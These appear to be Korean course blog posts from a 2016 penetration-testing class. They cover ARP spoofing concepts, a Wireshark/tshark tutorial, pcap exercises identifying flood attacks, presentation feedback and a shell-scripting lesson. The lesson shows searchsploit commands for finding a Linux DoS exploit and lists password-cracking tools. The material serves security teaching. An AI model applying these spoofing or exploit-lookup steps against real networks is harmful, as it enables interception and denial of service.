● 흔히 일어나는 IP 충돌 문제 역시 고의가 아닌 IP 스푸핑이라고 생각할 수도 있다.


[참고] 스푸핑에 대해서
● ARP Spoofing :
● IP Spoofing  :
● DNS Spoofing : ARP Spoofing > Fakeweb > FakeDNS
● DHCP Spoofing:

IP Spoofing Attack : 신뢰관계에(Trusted) 있는 A와 B가 있으면, Attacker가 A에 DoS 공격을 시도해서 서비스를 마비시키고 B와의 TCP 연결에 위조신호를 보내서 세션을 가로채는 공격

■ ARP Spoofing
● 로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 2계층 MAC 주소를 공격자의 MAC 주소로 속여 클라이언트가 서버로 가는 패킷이나 서버에서 클라이언트로 가는 패킷을 중간에서 가로채는 공격이다.
● 공격자는 이 패킷을 읽고 확인한 후 정상적인 목적지로 향하도록 다시 돌려 보내 연결이 끊어지지 않고 연결되도록 유지한다.

----------+-------------+-------------+--------------
          |             |             |
        HostA        Hacker         HostB
        - IP1        - IP2          - IP3
        - MAC1       - MAC2         - MAC3

 * Ethernet Hub
 * Ethernet Switch


[실습] ARP 스푸핑을 실습


[토론] ARP 스푸핑을 막을 수 있는 방법에 대해서
● /etc/rc.local + /root/bin/arp.sh
● arpwatch.sh

 


 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160616 정보수집단계  (0) 2016.06.16
20160615 네트워크이론  (0) 2016.06.15
20160613 네트워크이론  (0) 2016.06.14
20160613 프로젝트#1 피드백  (0) 2016.06.14
20160603 프로젝트#1  (0) 2016.06.04
Posted by 22Hz
, |

 


와이어샤크(wireshark) 사용법

 

 

■ 네트워크 보안을 하기 위한 기본 기술
● 패킷 캡쳐(Indentifying)
● 패킷 분석(Interpreting)


■ 보안 분석을 위해 반드시 필요한 기본 기술
● 패킷 구성/구조(How a packet is constructed)
● 실제 흐름(How it performs in real world scenarios.)


■ 패킷을 캡쳐하고 분석할 수 있는 대표적인 무료용 툴
● (TUI) tcpdump(http://www.tcpdump.org)
● (GUI) wireshark(http://www.wireshark.org)


■ 와이어샤크(Wireshark) 역사
와이어샤크는 캔자스 주의 미주리 대학교에서 제럴드 콤즈(Gerald Combs)에 의해 만들어 졌다. 콤즈의 첫번째 버전인 이더리얼(Ethereal)이라는 애플리케이션은 1998년에 GNU 라이선스에 의해 처음으로 배포 되었다.

이더리얼이 배포된 8년 후 콤즈는 좀 더 나은 직장을 찾기 위해 그룹을 떠났다. 그리고 불행히도 그의 직원 중 한명이 이더리얼이라는 이름의 모든 권리를 가졌기 때문에 콤즈는 이더리얼이라는 브랜드를 쓸 수 있는 권한을 갖지 못했다. 그 대신 콤즈와 개발팀은 2006년 중반에 새로운 프로젝트(이름을  와이어샤크라고 이름 지었다.)을 진행하였다.

와이어샤크는 상상하지 못할 만큼 빨리 퍼져 나갔고 많은 동료에 의해서 계속 발전중이다. 지금은 무려 500명 이상의 사람들이 도움을 주고 있다. 그러나 이더리얼의 이름으로는 더 이상 개발되지 않고 있다.


■ wireshark 개요
● 네트워크 프로토콜 분석기이며, 네트워크에 전달되는 패킷을 캡쳐 및 저장하여 세부적인 분석이 가능하도록 지원한다.
● 1997말 재럴드 콤즈(Gerald Combs) 개발 시작이 시작되었다.
● 2006년 "ethereal"에서 "wireshark"로 이름 변경되었다.(wireshark와 ethereal은 별도의 브랜드이다.)
● wireshark는 사용자에게 친숙한 인터페이스를 제공하고 무료로 제공되고 있다.
● 다양한 프로토콜을 지원하고 있으며 대략 850개 이상의 프로토콜(IP, DHCP, AppleTalk, BitTorrent 등)을 지원한다.
● 와이어샤크에 대한 유료 지원은 SharkNet 프로그램을 통해 CACE 테크놀로지에서 이용할 수 있다.
● 와이어샤크는 다양한 운영체제(윈도우, 맥 OS X, 리눅스 등)에 설치가 가능하며 거의 모든 운영체제를 지원한다. 사용자는 와이어샤크 홈페이지에서 어떠한 운영체제를 지원해주는지 목록을 확인할 수 있다.


■ 공식 사이트 및 wiki 사이트
http://www.wireshark.org
http://wiki.wireshark.org


■ sample capture
https://wiki.wireshark.org/SampleCaptures


■ wireshark 사용방법(User's manual)
https://www.wireshark.org/docs/wsug_html_chunked/
■ 명령어 라인 툴
● tshark 터미널 기반 wireshark(Terminal-based Wireshark)
● tcpdump 패킷 캡쳐(Capturing with tcpdump for viewing with Wireshark)
● dumpcap 패킷 캡쳐(Capturing with dumpcap for viewing with Wireshark)
● capinfos 패킷 캡쳐 파일 정보(Print information about capture files)
● rawshark 낮은 레벨 패킷 캡쳐(Dump and analyze network traffic.)
● editcap 캡쳐 파일 편집(Edit capture files)
● mergecap 파일 합치기(Merging multiple capture files into one)
● text2pcap ASCII Hexdumps to pcap 파일 형태(Converting ASCII hexdumps to network                captures)
● idl2wrs Corba IDL 파일에서 디코더 생성(Creating dissectors from CORBA IDL files )

 

 

(KaliLinux)

(1) wireshark 설치

■ 와이어샤크(wireshark) 설치
http://www.wireshark.org 사이트에서 자신에 맞는 버전을 다운로드 받아 설치한다.

(윈도우) wireshark.org 사이트에서 윈도우 버전에 맞는 프로그램을 설치한다.
(리눅스) RPM 기반 시스템 : # yum install wireshark
         DEB 기반 시스템 : # apt-get install wireshark
         소스기반 설치   : configure/make/make install 명령어를 통해 작업


(2) wireshark 실행

프로그램 > Kali Linux > Sniffing/Spoofing > Network Sniffers > wireshark
or
# wireshark &

 

 

 


(3) wireshark 사용법

(KaliLinux)

(3-1) 와이어샤크 초기 실행 화면
# wireshark &

 

              [그림] 와이어샤크 초기 실행화면

● 캡쳐(Capture)
 Interface List
 Start
 Capture Options [예제]
● 파일(Files)
 Open
 Sample Captures
● 온라인(Online)
 Website
 User's Guide
 Security
● 캡쳐 도움말(Capture Help)
 How to Capture
 Network Media

 


(3-2) 와이어샤크 메인 창

 

 

메뉴
● 파일(File)       : 캡쳐 데이터를 열거나 저장
● 편집(Edit)       : 패킷을 찾거나 표시, 프로그램 전역적인 속성들을 설정
● 보기(View)       : wireshark 플랫폼의 모양 설정
● 이동(Go)         : 캡쳐된 데이터의 특정 위치로 이동
● 캡쳐(Capture)    : 캡쳐 필터 옵션을 설정하고 캡쳐를 시작
● 분석(Analyze)    : 분석 옵션을 설정
● 통계(Statistics) : wireshark의 통계 데이터 보기
● 도움말(Help)     : 오프라인 혹인 온라인 도움말

단축키
개인적으로 선택하여 본다.

디스플레이 필터(Display Filter)
● 캡쳐된 로그 정보에서 데이터를 찾는 경우에 사용한다.
● 필터 옵션을 모르는 경우 "Expression" 버튼을 선택하고 원하는 항목을 선택하여 필터 적용

 (예) ip.addr == 192.168.10.50      (Display Filter)
 (예) host 192.168.10.50 and port 53(Capture Options)

패킷 목록(Packet List) 패널
● 현재 수집된 패킷을 모두 보여준다.
● 패킷 번호를 포함한 컬럼이 있는데, 여기서는 패킷이 수집된 시간, 발신지와 목적지, 프로토콜, 패킷에서 발견된 기본적인 정보들을 보여준다.

패킷 상세 정보(Packet Detail) 패널
● 패킷에 대한 정보를 계층적으로 보여준다.
● 이 부분은 각 패킷에 대한 정보를 보여주기 위해 축약되거나 확장될 수도 있다.

정밀 분석(패킷 바이트(Packet Bytes)) 패널
● 가공되지 않은 형태인 가장 원시적인(Raw) 형태의 패킷을 표시한다.
● 패킷이 회선을 따라 지나다니는 것처럼 보인다. 원시적인 실제 정보를 다루기 쉽고 보기 좋게 나타내지는 않는다.

기타
● 네트워크 카드
● 캡쳐 동작이 진행 도는 정지 상태 여부
● 캡쳐 된 정보의 하드디스크 저장 위치
● 캡쳐 사이즈
● 캡쳐 된 패킷수(P)
● 화면에 표시된 패킷수(디스플레이 필터에 매칭되는 패킷들)
● 표시된 패킷 수(M)

(3-3) 패킷 덤프(Packet Dump) & 패킷 보기 설정

 (캡쳐 필터)--- 패킷 캡쳐 ---(디스플레이 필터)
                            |
                            V
                        패킷 저장

● 캡쳐 필터(Capture Filter)       : 필요한 데이터만 필터링하여 패킷 덤프
● 디스플래이 필터(Display Filter) : 필요한 데이터만 필터링 하여 패킷 보기


(3-3-1) 캡쳐 필터(Capture Filter)
● tcpdump 또는 windump에서 사용하는 구문과 동일
● 디스플래이 필터와 다르게 반드시 캡쳐 전에 설정해야 한다.
● 패킷을 캡쳐하기 전에 필터링하여 원하는 패킷만 잡을 때 사용할 수 있고, 만약 패킷을 저장한다면 필터링된 패킷만 저장이 된다.

■ 캡쳐 필터 설정 방법

(패킷을 캡쳐하기 전에) 메뉴 중 Capture 선택 > Options 선택 

 

■ 캡쳐 필터 설정 예
 (예) host www.example.com
 (예) port 53
 (예) tcp
 (예) host 192.168.20.50 and host 192.168.20.200

■ 설정 과정
 프로토콜(Protocol) : ether, arp, rarp, ip, tcp, udp 등
  (기본값) 프로토콜의 지정이 없으면 모든 프로토콜
 방향(Direction) : src, dst, src and dst, src or dst 등
  (기본값) 방향의 지정이 없으면 src or dst 모두
 호스트(Hosts) : net, port, host, portrange 등
  (기본값) 호스트의 지정이 없으면 모든 호스트

 ip src host 10.1.1.1
 host 10.1.2.3
 src portrange 2000-2500
 src net 192.168.0.0/24
 not icmp
 src host 10.7.2.12 and not dst net 10.200.0.0/16

 


(3-3-2) 디스플레이 필터(Display Filter)

● 패킷을 캡쳐된 상태에서 진행한다.
● 잡힌 패킷 중 지정된 부분만 보기 위해서 설정한다.


■ 디스플레이 필터 설정 방법
 (캡쳐된 상태에서) Expression >

 

비교 연산자
Fields can also be compared against values. The comparison operators can be expressed either through English-like abbreviations or through C-like symbols:

    eq, ==    Equal
    ne, !=    Not Equal
    gt, >     Greater Than
    lt, <     Less Than
    ge, >=    Greater than or Equal to
    le, <=    Less than or Equal to

논리 표현식
    and, &&   논리곱
    or,  ||   논리합
    xor, ^^   배타적 논리합
    not, !    부정

디스플레이 필터 설정 예
 snmp || dns || icmp
 ip.addr == 10.1.1.1
 ip.src != 10.1.2.3 or ip.dst != 10.4.5.6
 tcp.port == 25
 tcp.dport == 25
 
 [참고] 필터 구문이 잘 되었다면 녹색으로 표시. 잘못되었으면 붉은색으로 표시


■ 캡쳐 필터(Capture Filters, Capture Options) 예제

Capture only traffic to or from IP address 172.18.5.4:
    host 172.18.5.4

Capture traffic to or from a range of IP addresses:
    net 192.168.0.0/24
    net 192.168.0.0 mask 255.255.255.0

Capture traffic from a range of IP addresses:
    src net 192.168.0.0/24
    src net 192.168.0.0 mask 255.255.255.0

Capture traffic to a range of IP addresses:
    dst net 192.168.0.0/24
    dst net 192.168.0.0 mask 255.255.255.0

Capture only DNS (port 53) traffic:
    port 53

Capture non-HTTP and non-SMTP traffic on your server (both are equivalent):
    host www.example.com and not (port 80 or port 25)
    host www.example.com and not port 80 and not port 25

Capture except all ARP and DNS traffic:
    port not 53 and not arp

Capture traffic within a range of ports
    (tcp[0:2] > 1500 and tcp[0:2] < 1550) or (tcp[2:2] > 1500 and tcp[2:2] < 1550)
or, with newer versions of libpcap (0.9.1 and later):
    tcp portrange 1501-1549

Capture only Ethernet type EAPOL:
    ether proto 0x888e

Reject ethernet frames towards the Link Layer Discovery Protocol Multicast group:
    not ether dst 01:80:c2:00:00:0e

Capture only IP traffic - the shortest filter, but sometimes very useful to get rid of lower layer protocols like ARP and STP:
    ip
    stp

Capture only unicast traffic - useful to get rid of noise on the network if you only want to see traffic to and from your machine, not, for example, broadcast and multicast announcements:
    not broadcast and not multicast

Capture IPv6 "all nodes" (router and neighbor advertisement) traffic. Can be used to find rogue RAs:
    dst host ff02::1

Capture HTTP GET requests. This looks for the bytes 'G', 'E', 'T', and ' ' (hex values 47, 45, 54, and 20) just after the TCP header. "tcp[12:1] & 0xf0) >> 2" figures out the TCP header length. From Jefferson Ogata via the tcpdump-workers mailing list.
    port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420

Capture VLAN traffic:
    vlan
    vlan and (host 192.168.0.0 and port 80)

Capture all traffic originating (source) in the IP range 192.168.XXX.XXX:
    src net 192.168

Show only SMTP (port 25) and ICMP traffic:
     tcp.port eq 25 or icmp
■ 디스플레이 필터(Display Filter) 예제

Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:
    ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

TCP buffer full -- Source is instructing Destination to stop sending data
     tcp.window_size == 0 && tcp.flags.reset != 1

Filter on Windows -- Filter out noise, while watching Windows Client - DC exchanges
     smb || nbns || dcerpc || nbss || dns

Match packets containing the (arbitrary) 3-byte sequence 0x81, 0x60, 0x03 at the beginning of the UDP payload, skipping the 8-byte UDP header. Note that the values for the byte sequence implicitly are in hexadecimal only. (Useful for matching homegrown packet protocols.)
      udp[8:3]==81:60:03

The "slice" feature is also useful to filter on the vendor identifier part (OUI) of the MAC address, see the Ethernet page for details. Thus you may restrict the display to only packets from a specific device manufacturer. E.g. for DELL machines only:
      eth.addr[0:3]==00:06:5B

It is also possible to search for characters appearing anywhere in a field or protocol by using the matches operator.

Match packets that contains the 3-byte sequence 0x81, 0x60, 0x03 anywhere in the UDP header or payload:
      udp contains 81:60:03

Some filter fields match against multiple protocol fields. For example, "ip.addr" matches against both the IP source and destination addresses in the IP header. The same is true for "tcp.port", "udp.port", "eth.addr", and others. It's important to note that
     ip.addr == 10.43.54.65
    is equivalent to
     ip.src == 10.43.54.65 or ip.dst == 10.43.54.65

This can be counterintuitive in some cases. Suppose we want to filter out any traffic to or from 10.43.54.65. We might try the following:
     ip.addr != 10.43.54.65
    which is equivalent to
     ip.src != 10.43.54.65 or ip.dst != 10.43.54.65

This translates to "pass all traffic except for traffic with a source IPv4 address of 10.43.54.65 and a destination IPv4 address of 10.43.54.65", which isn't what we wanted.

Instead we need to negate the expression, like so:
     ! ( ip.addr == 10.43.54.65 )
    which is equivalent to
     ! (ip.src == 10.43.54.65 or ip.dst == 10.43.54.65)

 

 

■ tshark 사용법

NAME
       tshark - Dump and analyze network traffic

SYNOPSIS
       tshark [ -2 ] [ -a <capture autostop condition> ] ...
       [ -b <capture ring buffer option>] ...  [ -B <capture buffer size> ]
       [ -c <capture packet count> ] [ -C <configuration profile> ]
       [ -d <layer type>==<selector>,<decode-as protocol> ] [ -D ] [ -e <field> ]
       [ -E <field print option> ] [ -f <capture filter> ] [ -F <file format> ] [ -g ]
       [ -h ] [ -H <input hosts file> ] [ -i <capture interface>|- ] [ -I ]
       [ -K <keytab> ] [ -l ] [ -L ] [ -n ] [ -N <name resolving flags> ]
       [ -o <preference setting> ] ...  [ -O <protocols> ] [ -p ] [ -P ] [ -q ] [ -Q ]
       [ -r <infile> ] [ -R <Read filter> ] [ -Y <displaY filter> ]
       [ -s <capture snaplen> ] [ -S <separator> ] [ -t a|ad|d|dd|e|r|u|ud ]
       [ -T pdml|psml|ps|text|fields ] [ -v ] [ -V ] [ -w <outfile>|- ]
       [ -W <file format option>] [ -x ] [ -X <eXtension option>]
       [ -y <capture link type> ] [ -z <statistics> ] [ <capture filter> ]

       tshark -G [fields|protocols|values|decodes|defaultprefs|currentprefs]


(TUI) tshark CMD
(GUI) wireshark

tshark 와 wireshark 툴의 비교

# tshark
# tshark -v                      /* -v : version */

# tshark -i eth0
# tshark -i eth0 -c 10

# tshark -i eth0 -w test.pkt    /* -w : write */
# tshark -r test.pkt            /* test is filename */
# tshark -r test.pkt -c 5         /* -c : count */

# wireshark &
-> 캡쳐하고 파일로 저장 : /root/packet/test1.pkt

# tshark -r test.pkt
# tshark -r test.pkt -V -c 1    /* -V : Verbose */
# tshark -r test.pkt -x -c 1    /* -x : Hex */

# tshark -r test.pkt -R '(ip.src==192.168.20.200)'
# tshark -r test.pkt -R '(ip.src==192.168.20.200 and port 53)'

 

[참고] 참고 사이트
http://openmaniak.com/kr/wireshark_filters.php
http://wearehacker.com/network/60246
http://www.rcy.co.kr/xeb/tool/6934

 

[실습1] 패킷 분석을 통해 어떤 프로토콜 패킷인지 확인해 보자.(작업 시간: 5분)

● 분석 파일 : lawcode.txt

● 어떤 종류의 패킷인가? ping(request) 192.168.10.50 -> 168.126.63.1
● 어떤 프로토콜 패킷인가? ICMP

 

[실습2] 공격 패킷에 대해서 분석하여 보자.(작업 시간 10분)

● 분석파일 : attack1.pcap

----------------------------------------------
출발지 IP : 192.168.3.4 ~ 192.168.3.254
출발지 Port : 1080, 1081

목적지 IP : 192.168.1.15
목적지 Port : 80
----------------------------------------------
● 출발지 IP는 계속 변화하는가 항상 일정한가? 변화한다
● 출발지 Port는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 Port는 계속 변화하는가 항상 일정한가? 일정하다

● 공격 패킷의 특성은? SYN 신호만 계속 보내고 있다
● 결론적으로 어떤 공격이라고 판단할 수 있는가? SYN Flooding Attack (DoS Attack)
● 이런 패킷을 방어 하는 방법은?
 정해진 시간동안 서버로 들어오는 연결 요구의 수 제한 (서비스를 제공할 client 수 제한)
 원하지 않는 발신지로 부터의 서비스 요청을 제한 (필터링, IDS, Firewall 이용)
 연결 설정이 완료될때까지 서버 자원 할당 연기 (cookie)
 단순히 연결요청 큐(백로그 큐) 사이즈를 늘여줌
 접속 타임아웃(CTO, Connection Time-Out)을 줄임


[실습3] 공격 패킷에 대해서 분석하여 보자.(작업시간 10분)

● 분석파일 : attacker2.pcap

----------------------------------------------
출발지 IP : 192.168.20.50
출발지 Port : 35581 등

목적지 IP : 192.168.20.201
목적지 Port : 80
----------------------------------------------
● 출발지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 출발지 Port는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 Port는 계속 변화하는가 항상 일정한가? 일정하다

● 공격 패킷의 특성은? UDP 신호만 계속 보내고 있다
● 결론적으로 어떤 공격이라고 판단할 수 있는가? UDP Flooding Attack (DoS Attack)
● 이런 패킷을 방어 하는 방법은?
 사용하지 않는 UDP 서비스를 중지
 방화벽 등을 이용하여 패킷을 필터링

 


[실습4] 공격 패킷에 대해서 분석하여 보자.(작업시간 10분)

● 분석파일 : attacker3.pcap

----------------------------------------------
출발지 IP : 192.168.20.50
출발지 Port : 60878 등

목적지 IP : 192.168.20.201
목적지 Port : 80
----------------------------------------------
● 출발지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 출발지 Port는 계속 변화하는가 항상 일정한가? 변화한다
● 목적지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 Port는 계속 변화하는가 항상 일정한가? 일정하다

● 공격 패킷의 특성은? HTTP Get 신호를 지속적으로 보낸다
● 결론적으로 어떤 공격이라고 판단할 수 있는가? HTTP Get Flooding
● 이런 패킷을 방어 하는 방법은?
 공격자의 IP를 방화벽에서 필터링
 Connection Timeout 값을 작게 설정


[실습5] 공격 패킷에 대해서 분석하여 보자.(작업시간 30분)

● 분석파일 : attacker4.pcap

----------------------------------------------
출발지 IP : 172.16.0.131
출발지 Port : 43712 등

목적지 IP : 198.2.192.204
목적지 Port : 22
----------------------------------------------
● 출발지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 출발지 Port는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 IP는 계속 변화하는가 항상 일정한가? 일정하다
● 목적지 Port는 계속 변화하는가 항상 일정한가? 일정하다

● 공격 패킷의 특성은?
● 결론적으로 어떤 공격이라고 판단할 수 있는가? ssh 백도어를 이용한 공격
● 이런 패킷을 방어 하는 방법은?

 

 


[참고] wireshark 분석 통해 .pcap 파일을 분석하는 절차에 대해서
보고자에 의해서 보내진 파일을 분석하는 경우에는 다음과 같은 절차를 통해 분석 과정을 진행한다.
● ① 대략적인 Packet Flow 을 분석한다.
● ② Statistics > Comments Summary
● ③ Statistics > Protocol Hierarchy
● ④ Statistics > Conversation
● ⑤ Statistics > Conversation List > TCP (IPv4 & IPv6)
● ⑥ Statistics > Endpoint List > TCP (IPv4 & IPv6)
● ⑦ Statistics > Flow Graph ....
● ⑧ Display Filter(EX: ip.dst == IP) 규칙을 정하고 입력한다.
● ⑨ 다시 통계 정보를 확인 하는 절차를 거친다.


[참고] SSH 키 교환 절차에 대해서
-------------------------------------
Encrypted request packet len=41 
Encrypted response packet len=39
Client: Key Exchange Init
Server: Key Exchange Init
Client: Diffie-Hellman Key Exchange Init
Server: New Keys
Client: New Keys
Encrypted request packet len=48
Encrypted response packet len=48
-------------------------------------

Simple example mutual authentication sequence
====================================================================
Server sends a unique challenge value sc to the client
Client generates unique challenge value cc
Client computes cr = hash(cc + sc + secret)
Client sends cr and cc to the server
Server calculates the expected value of cr and ensures the client responded correctly
Server computes sr = hash(sc + cc + secret)
Server sends sr
Client calculates the expected value of sr and ensures the server responded correctly
======================================================
where
sc is the server generated challenge
cc is the client generated challenge
cr is the client response
sr is the server response

 

 

 

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160615 네트워크이론  (0) 2016.06.15
20160614 네트워크이론  (0) 2016.06.15
20160613 프로젝트#1 피드백  (0) 2016.06.14
20160603 프로젝트#1  (0) 2016.06.04
20160602 프로젝트#1  (0) 2016.06.03
Posted by 22Hz
, |

말을 의식적으로 천천히 해야한다

스타일이 통일되어야 한다
참고자료 포함되어야 한다

프로페셔널한건 여유가 있다는것

말끝을 흐리지마라
발표식으로 말하라

다른사람의 장점 흡수 단점 고치기

문서안에 그림이 어떤그림인지 코멘트를 달아야한다

되도록이면 화면이 꽉차게끔

여백이 많으면 앞부분과 합쳐서라도 꽉차게 해주면 보기에 좋다

내용이 틀려도 확실하다는 마음가짐으로 확실하게 내가 아는게 사실이다 하는 마음가짐으로

나중에 누가 물어보면 한번 찾아보고 알려주겠다

청중을 보고 설명해야 한다

자료가 머릿속에 있어야 한다

옵션에 대해서 다 설명하지 않아도 된다

스크린 치지 말것

제스쳐 많이 쓸것(귀로만 듣는게 아니라 눈으로도 보고있기 때문에)

말하는 표정 모양 움직임 + 들리는 정보 = 조합해서 판단 아 어떤 정보구나~

툴 카테고리의 전체리스트가 빠져있었다(내장여부, 설치가 잘되는지 안되는지, 실행은 되는지 안되는지)

노력했다는 표시가 되어있어야 한다

전체가 나와있고 우리가 어떤부분을 하는데 실제 준비한건 이거이거다

쉬운 방법, 쉬운 설명, 쉬운 예제

정의, 간단하게 짚고 넘어갈만한것들

실습이 어떤식으로 진행되는지에 대해서 앞부분에 나와있어야한다 정말 중요해

실습은 한페이지 이미지가 겹쳐지는식으로 표현해도 된다

동작원리, 필요사항, 실습시나리오 >>> 실습

차라리 실습보다 실습환경에 더 집중해라

총평 부족, 1차프로젝트치곤 보통이지않나

주어진 시간에 맞춰야한다(내용이 30분이라도 10분을 요구하면 10분에 맞춰야한다, 핵심적인 부분에 포커스)

실습을 디테일하게 하기보다 작동원리, 뭐하는 툴이냐, 어떤식으로 작업을 해야하냐

내가 뭐에대해서 할거다, 실습은 어떤식으로 할거다, 마무리할때 어떤거에 대해서 설명을 드렸다

지속적으로 발전이 되어야한다

그상태에서 멈춰있지 말고 다음에는 좀 더 좋은 모습을 보여줘야한다

그러기위해선 발표준비, 협업이 필요

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160614 네트워크이론  (0) 2016.06.15
20160613 네트워크이론  (0) 2016.06.14
20160603 프로젝트#1  (0) 2016.06.04
20160602 프로젝트#1  (0) 2016.06.03
20160602 프로그래밍 기초  (0) 2016.06.03
Posted by 22Hz
, |
-----------------------------------------------------------------------------------------------
apt-get 명령어
-----------------------------------------------------------------------------------------------
apt-get update
apt-get upgrade
apt-get dist-upgrade
-----------------------------------------------------------------------------------------------
http://egloos.zum.com/hermes2/v/1140513
-----------------------------------------------------------------------------------------------
kali 리눅스 커널 4.5로 올리기
-----------------------------------------------------------------------------------------------
I am running Kali 2016.1 x64 too with the latest update
Here is my sources.list
 
root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://old.kali.org/kali moto main non-free contrib
root@kali:~#
 
 
by executing the following commands:
 
root@kali:~# apt-get update
root@kali:~# apt-get upgrade
root@kali:~#apt-get dist-upgrade
 
I was able to achieve WMware Workstation 12 Pro's installation.
Screenshot from 2016-03-10 13-38-03.jpg
 
you should have linux-headers-4.4.0 in your apt-cache like this:
 
root@kali:~# apt-cache search linux-headers-4.4.0
linux-headers-4.4.0-kali1-all - All header files for Linux 4.4 (meta-package)
linux-headers-4.4.0-kali1-all-amd64 - All header files for Linux 4.4 (meta-package)
linux-headers-4.4.0-kali1-amd64 - Header files for Linux 4.4.0-kali1-amd64
linux-headers-4.4.0-kali1-common - Common header files for Linux 4.4.0-kali1
linux-headers-4.4.0-kali1-686 - Header files for Linux 4.4.0-kali1-686
linux-headers-4.4.0-kali1-686-pae - Header files for Linux 4.4.0-kali1-686-pae
linux-headers-4.4.0-kali1-all-i386 - All header files for Linux 4.4 (meta-package)
root@kali:~#
-----------------------------------------------------------------------------------------------
https://forums.kali.org/showthread.php?29957-VMware-Workstation-Install-on-Kali
-----------------------------------------------------------------------------------------------
password attack 아직 안한 부분
-----------------------------------------------------------------------------------------------
RainbowCrack
rcracki-mt
RSMangler
SQLdict
Statsprocessor
THC-pptp-bruter
TrueCrack
WebScarab
wordlists
zaproxy
-----------------------------------------------------------------------------------------------


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160613 네트워크이론  (0) 2016.06.14
20160613 프로젝트#1 피드백  (0) 2016.06.14
20160602 프로젝트#1  (0) 2016.06.03
20160602 프로그래밍 기초  (0) 2016.06.03
20160601 프로그래밍 기초  (0) 2016.06.02
Posted by 22Hz
, |

 


  모의해킹 & 침해대응   제 1 차 프로젝트

 

프로젝트 목적:
 친목 도모
 문서 작성 요령 습득
 발표 자세 습득

프로젝트 기간:
 06월03일(월) ~ 06월10일(금)

프로젝트 발표:
 06월10일(금) 18:00 - 22:10
 - 보고서 1부(한글)
 - 발표자료 1부(파워포인트)
 
프로젝트 개요:
 칼리리눅스 내장된 모의해킹 툴에 대한 사용법 연구 -> 매뉴얼

프로젝트 참고:
 칼리리눅스 툴 사이트
 - http://tools.kali.org/tools-listing
 - (예) 구글 검색: "dnmap"
 - (예) YouTube 검색: "dnmap"

01조:
-------------------------------
Information Gathering
Vulnerability Analysis
Wireless Attacks
-------------------------------

02조:
-------------------------------
Web Application
Exploitation Tools
Forensics Tools
-------------------------------

03조:
-------------------------------
Stress Testing
Sniffing & Spoofing
Password Attacks
Maintaining Access
-------------------------------

04조:
-------------------------------
Reverse Engineering
Hardware Hacking
Reporting Tools
-------------------------------


보고서 형식 예제
 (ㄱ) 프로그램 홈페이지
 (ㄴ) 프로그램의 목적/용도
 (ㄷ) 프로그램 간단한 사용법
  +
 (ㄹ) 간단한 실습
 (ㅁ) 참고(참고사이트, 유투브 동영상)


제01조 조원 목록
 팀장:
 조원:
제02조 조원 목록
 팀장:
 조원:
제03조 조원 목록
 팀장:
 조원:
제04조 조원 목록
 팀장:
 조원:

--------------------------------------------------------------------

(1) 파일 생성
각 조의 팀장님이 다음과 같은 파일을 생성해 주세요

\\172.16.13.1
\Security과정공유디렉토리
\00_공지사항
\제09기_오후반_제1차_프로젝트

 파일이름: 제1조_<팀장명>.txt
 --------------------------------
 제01조 조원 목록
  팀장: 홍길동1
  조원: 홍길동2, 홍길동3
 --------------------------------

(2) 쉬는 시간 준수
쉬는 시간은 40분 ~ 00분입니다.


(3) 발표 자료 및 보고서 업로드

\\172.16.13.1
\Security과정공유디렉토리
\00_공지사항
\제09기_오후반_제1차_프로젝트
\제00조

 발표자료 : 1부
 보고서   : 1부
 참고자료 :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160613 프로젝트#1 피드백  (0) 2016.06.14
20160603 프로젝트#1  (0) 2016.06.04
20160602 프로그래밍 기초  (0) 2016.06.03
20160601 프로그래밍 기초  (0) 2016.06.02
20160531 과제#1  (0) 2016.06.01
Posted by 22Hz
, |

==================================================메 모==================================================
 
Codecademy:
https://www.codecademy.com/tracks/python
 
Solution:
https://www.youtube.com/watch?v=00fHkp3YzsI&list=PLE8fPj79_LdblpaurqcP1rRurFxnoH61S
 
Books:
http://it-ebooks.info/
 
THC-Hydra
John the Ripper
Johnny
keimpx
Maltego Teeth
Maskprocessor
multiforcer
Ncrack
oclgausscrack
PACK
patator
phrasendrescher
polenum
 
================================================강의/실습================================================

■ 쉘스크립트 주요 내용
● 변수
● 입력(read)/출력(echo, printf)
● 숫자다루기(expr)
● 조건구문(if, case)/반복구문(for, while)
 +
● 작업 명령어

 


■ 쉘스크립트 분석 보고서 작성(과제)
# searchsploit linux
# searchsploit linux | egrep '.sh$'
Linux Kernel - /dev/ptmx Key Stroke Timin | /linux/dos/24459.sh
# cd /usr/share/exploitdb
# cd platforms
# ls
# cd linux
# cd dos
# vi 24459.sh

 

■ 잘 작성된 쉘 스크립트 예제들
(ㄱ) 환경 파일들
 # vi /etc/profile
 # vi /etc/bashrc
 # vi ~/.bash_profile
 # vi ~/.bashrc

(ㄴ) 시작 스크립트들
 # cd /etc/init.d
 # ls

(ㄷ) searchsploit 스크립트들
 # searchsploit linux | egrep '.sh$'
 # cd /usr/share/exploitdb/platforms/linux/dos
 # ls *.sh


■ 참고 사이트

Codecademy:
https://www.codecademy.com/tracks/python

Solution:
https://www.youtube.com/watch?v=00fHkp3YzsI&list=PLE8fPj79_LdblpaurqcP1rRurFxnoH61S

Books:
http://it-ebooks.info/

 

 


■ 서버 취약점 점검 스크립트 제작

# vi server_check.sh
--------------------------------
프로그램 제작
--------------------------------

server_check.sh 기능
(a) 시스템의 정보 확인
(b) 취약점 점검

# ./server_check.sh 출력 내용
---------------------------------

Server Vul. Checker version 1.0

DATE: 2014.02.30 13:00
NAME: Hong Gil Dong


(a) Server Information
============================================
OS : CentOS release 5.5 (Final)
